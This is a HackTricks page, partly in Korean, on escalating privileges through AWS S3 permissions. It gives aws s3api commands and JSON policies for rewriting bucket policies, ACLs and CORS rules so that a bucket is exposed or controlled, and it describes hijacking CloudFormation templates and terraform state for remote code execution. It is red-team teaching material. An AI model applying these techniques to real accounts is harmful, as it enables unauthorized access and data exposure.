AWS - S3 Privesc

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

해당 permissions을 흥미로운 buckets에 대해 가진 attacker는 resources를 hijack하고 escalate privileges를 얻을 수 있습니다.

예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"라는 이름의 permissions over a cloudformation bucket을 가진 attacker는 deployment를 hijack할 수 있습니다. 접근은 다음 policy로 부여될 수 있습니다:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

And the hijack is possible because there is a small time window from the moment the template is uploaded to the bucket to the moment the template is deployed. An attacker might just create a lambda function in his account that will trigger when a bucket notification is sent, and hijacks the content of that bucket.

The Pacu module cfn__resouce_injection can be used to automate this attack.
For mor informatino check the original research: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

이는 S3에 객체를 가져오고 업로드할 수 있는 권한이다. AWS 내부(및 외부)의 여러 서비스가 구성 파일을 저장하기 위해 S3 스토리지를 사용한다. 해당 파일들에 대한 read access를 가진 공격자는 민감한 정보를 발견할 수 있다. write access를 가진 공격자는 데이터를 수정해 특정 서비스를 악용하거나 권한 상승을 시도할 수 있다. 다음은 몇 가지 예시이다:

  • If an EC2 instance is storing the user data in a S3 bucket, an attacker could modify it to execute arbitrary code inside the EC2 instance.

s3:PutObject, s3:GetObject (optional) over terraform state file

terraform state 파일들이 클라우드 제공업체의 blob 스토리지(예: AWS S3)에 저장되는 것은 매우 흔하다. 상태 파일의 확장자는 .tfstate이며, 버킷 이름만으로도 terraform state 파일을 포함하고 있음을 알 수 있는 경우가 많다. 보통 모든 AWS 계정에는 계정 상태를 보여주는 state 파일을 저장하는 버킷이 하나 있다. 또한 실제 환경에서는 거의 대부분 개발자들이 s3:* 권한을 가지고 있고, 때로는 비즈니스 사용자들도 s3:Put* 권한을 갖고 있는 경우가 있다.

따라서 이러한 파일들에 대한 권한을 가지고 있다면, 해당 권한으로 파이프라인에서 terraform의 권한(대부분의 경우 AdministratorAccess)으로 RCE를 얻을 수 있는 공격 벡터가 존재하며, 이를 통해 클라우드 계정의 관리자가 될 수 있다. 또한 이 벡터를 이용해 terraform가 정상 리소스를 삭제하게 하여 서비스 거부 공격을 할 수도 있다.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

An attacker, that needs to be from the same account, if not the error The specified method is not allowed will trigger, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.

bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

attacker는 이러한 권한을 악용하여 특정 buckets에 대해 자신에게 더 많은 접근 권한을 부여할 수 있다.
참고: attacker가 동일한 account에 속해 있을 필요는 없다. 게다가 write access

bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

공격자는 이러한 권한을 악용하여 버킷 내 특정 객체에 대한 접근 권한을 자신에게 더 부여할 수 있다.

bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

이 권한을 가진 공격자는 특정 객체 버전(object version)에 Acl을 설정할 수 있어야 합니다.

bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

s3:PutBucketCORS 권한을 가진 공격자는 버킷의 CORS (Cross-Origin Resource Sharing) 구성을 수정할 수 있으며, 이 구성은 어떤 웹 도메인이 버킷의 엔드포인트에 접근할 수 있는지를 제어합니다. 공격자가 너무 관대한 CORS 정책을 설정하면 어느 웹사이트든 브라우저에서 버킷으로 직접 요청을 보내고 응답을 읽을 수 있습니다.

이는 잠재적으로 버킷에서 호스팅되는 웹 앱의 인증된 사용자가 공격자의 웹사이트를 방문할 경우, 공격자가 관대한 CORS 정책을 악용해 애플리케이션에 따라 해당 사용자의 프로필 데이터에 접근하거나 심지어 사용자의 계정을 탈취할 수 있음을 의미합니다.

bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기